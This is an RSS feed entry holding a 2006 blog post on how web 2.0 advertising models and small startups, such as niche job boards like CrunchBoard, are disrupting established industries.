		<description><![CDATA[With all the talk about how Digg, the community social news site, is supposedly worth $200 million, and the ensuing cries of BS, you&#8217;d think we were well on the way to Bubble 2.0 instead of web 2.0. Semantics of the &#8220;web 2.0&#8243; term aside, the current revolution in the web is changing how things [...]]]></description>
			<content:encoded><![CDATA[<p>With all the talk about how Digg, the community social news site, is supposedly worth <a href="http://www.businessweek.com/magazine/content/06_33/b3997001.htm">$200 million</a>, and the ensuing <a href="http://techdirt.com/articles/20060803/1812214.shtml">cries</a> <a href="http://plentyoffish.wordpress.com/2006/08/04/if-digg-is-worth-200-million-then-im-a-billionaire/">of BS</a>, you&#8217;d think we were well on the way to Bubble 2.0 instead of web 2.0.  Semantics of the &#8220;web 2.0&#8243; term aside, the current revolution in the web is changing how things are done, and is having an effect on the industry, for better or worse. </p>
<h3>It&#8217;s all about the advertising</h3>
<p>The advent of Internet advertising as a viable income source has been the fuel for this tranformation.  Ever since the major players launched huge ad networks (Google&#8217;s AdSense and Yahoo&#8217;s Publisher Network), it&#8217;s becoming easier for sites to &#8220;make a quick&#8221; buck without apparently selling any service or product.  This ad model is what allows you to sign up for a bevy of free services, from webmail to social news sites, and has been the basis for large social networking sites like Facebook.  It&#8217;s also been a focal point for traditional news services, who not only have been making money off ads on their own sites, but have also bought out sites like MySpace in the further hopes of money from online advertising.</p>
<p>However, it&#8217;s also had the effect of making it much easier for &#8220;the little guy&#8221; to get into the business, sometimes wreaking havoc on established businesses.  A great example is <a href="http://www.webpublishingblog.com/exclusive-interview-with-plentyoffishcom-creator-and-owner-markus-frind.htm">Markus Frind</a>, who single-handedly started up a dating site that shook up the entire online dating industry, as he began offering a something for free that typically was a paid service.  He made quite a lot of money off of his site, but overall, things were much cheaper for the &#8220;customer&#8221;. (No fees as opposed to fees)</p>
<h3>The long tail</h3>
<p>This sort of action by smaller companies is going to change the industry, and Markus himself <a href="http://plentyoffish.wordpress.com/2006/07/24/web-20-is-mass-market-web-30-is-the-transformation-of-industries-in-the-long-tail/">best sums it up</a>.  The basic idea is that smaller startups, entirely self-funded (or at least not venture-capitalized), are taking over sectors, offering services and will be entirely happy making overall, less money than their predecessors.  One need only look at <a href="http://www.techcrunch.com">TechCrunch</a> on a regular day to see many of these startups being featured.  </p>
<p>On the web, things move about ten times as fast, and that includes the launch of new companies and how their services will change and be updated.  Where else can a business or service launch, and then <a href="http://www.vnunet.com/vnunet/news/2142194/ebay-buys-skype-6b">suddenly be bought for $2 billion</a> only a scant few years later?  The pace at which ideas spread on the web is frightening.  </p>
<h3>Wag the tail</h3>
<p>The best recent example of a typical industry starting to be overtaken by smaller startups is the online job search market.  Typically, these areas have been dominated by sites like <a href="http://monster.com">Monster</a> or <a href="http://www.workopolis.com/">Workopolis</a>.  These sites are well known and established; however, recently niche job boards like those at <a href="http://www.37signals.com/">37 signals</a> and TechCrunch have launched, with positive results.  The idea behind these job boards seems, at first, the opposite of what would be desired &#8211; they are only known by a select group of individuals, typically those who visited the sites before the job board launched.</p>
<p>But that&#8217;s just the advantage &#8211; not everyone knows, so not just anyone applies to the jobs listed there, producing a higher quality of job applicants.  This, in turn, makes it much easier for companies to find good people, thus cutting down on their costs, saving them money.  This, of course, reduces the amount of money being pumped into this industry.  Take this <a href="http://www.techcrunch.com/2006/08/08/crunchboard-job-board-stats-after-one-week/#comment-129621">one comment</a> about the TechCrunch job board (called the CrunchBoard):</p>
<blockquote cite="http://www.techcrunch.com/2006/08/08/crunchboard-job-board-stats-after-one-week/#comment-129621"><p>We (photobucket) had posted 3 jobs on CrunchBoard and have had a positive experience thus far. We are getting less resumeâ€™s than maybe a monster or dice, but the ones we get are much more qualified. Iâ€™d be surprised if we donâ€™t fill at least one of these positions in the coming weeks from a CrunchBoard referral. A few hundred bucks sure beats the $20k or so a recruiter will get you for.</p>
</blockquote>
<p>Going from spending $20 K to less than $1 K certainly amounts to <em>huge</em> savings, and as more and more companies learn about this, you can bet they&#8217;ll be at least partially switching over to this model instead of traditional recruitment practices.  This is really the same thing as the typical Internet user benefiting from all the free services out there &#8211; they save money, but at the cost of the previous business model suffering decreased revenues.</p>
<p>Whether these new job boards can maintain their level of high-quality applicants is one story, but what is sure to stay, is the fact that traditional industries are going to see their market value decreased because of low-cost Internet startups, for better or for worse.</p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2006/08/09/how-web-20-is-actually-changing-things/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

